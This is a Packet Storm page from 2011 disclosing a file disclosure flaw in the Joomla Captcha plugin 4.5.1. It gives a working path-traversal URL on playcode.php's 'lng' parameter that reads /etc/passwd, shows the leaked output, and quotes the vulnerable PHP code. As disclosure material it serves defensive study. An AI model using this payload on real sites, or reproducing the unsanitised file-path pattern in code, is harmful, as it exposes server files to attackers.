exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Joomla Captcha 4.5.1 File Disclosure

Joomla Captcha 4.5.1 File Disclosure
Posted Jan 10, 2011
Authored by dun

Joomla Captcha plugin versions 4.5.1 and below suffer from a file disclosure vulnerability.

tags | exploit, info disclosure
SHA-256 | baf1c42d247040cd6931959edd7c8d25ca37a0a5dfed9e017d87f7b18b7f9080

Joomla Captcha 4.5.1 File Disclosure

Change Mirror Download
:::::::-.   ...    ::::::.    :::.
;;, `';, ;; ;;;`;;;;, `;;;
`[[ [[[[' [[[ [[[[[. '[[
$$, $$$$ $$$ $$$ "Y$c$$
888_,o8P'88 .d888 888 Y88
MMMMP"` "YmmMMMM"" MMM YM

[ Discovered by dun \ posdub[at]gmail.com ]

#############################################################################
# [ Joomla Captcha Plugin <= 4.5.1 ] Local File Disclosure Vulnerability #
#############################################################################
#
# Script: "Joomla Captcha plugin and patch for Joomla!"
#
# Script site: http://www.kupala.net/
# Download: http://code.google.com/p/joomla15captcha/
#
#
# [LFI] (magic_quotes_gpc = Off)
# Vuln: http://site.com/plugins/system/captcha/playcode.php?lng=../../../../../../../etc/passwd%00
# dun@radius ~ $ cat joomlacaptcha.mp3
# root:x:0:0:root:/root:/bin/bash
# ......
#
# File: ./plugins/system/captcha/playcode.php
#
# 79 if (!$captchacode) $captchacode = '0000000000';
# 80
# 81 session_write_close();
# 82
# 83 @$lng = $_GET['lng']; // [1]
# 84 if ( !$lng ) $lng = 'en-gb';
# 85
# 86 $captchafilename = "joomlacaptcha.mp3";
# 87 $captchalength = strlen( $captchacode );
# 88
# 89 $outlength = 0;
# 90 $reallength = 0;
# 91 $currsize = 0;
# 92 $outstream = '';
# 93
# 94 if ($captchalength > 0) {
# 95 for ($i = 0; $i < $captchalength; $i++) {
# 96 $soundfiles[$i] = 'files/' . $lng . '.' . strtolower( substr( $captchacode, $i, 1 ) ) . '.mp3'; // [2]
# 97 }
# 98 foreach ($soundfiles as $onefile){ //
# 99 if (file_exists( $onefile )) { //
# 100 $instream = fopen( $onefile, 'rb' ); //
# 101 $currsize = filesize( $onefile ); // [3]
# 102 $outstream .= fread( $instream, $currsize ); //
# 103 $outlength += $currsize; //
# 104 fclose( $instream ); //
# 105 $reallength += 1; //
# 106 }
# 107 }
# 108 }
# 109
# 110 if (($outstream == '') || ($captchalength != $reallength)) {
# 111 $outstream = 0; $outlength = 1;
# 112 }
# 113
# 114 ob_start();
# 115 header( 'Content-Type: audio/x-mpeg'); //
# 116 header( "Content-Disposition: attachment; filename=$captchafilename;"); //
# 117 header( 'Content-Transfer-Encoding: binary'); //
# 118 header( 'Content-Length: '.$outlength); //
# 119 echo $outstream ; // [4] LFD
# 120 ob_end_flush();
#
#
# [ dun / 2011-01-09 ]

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close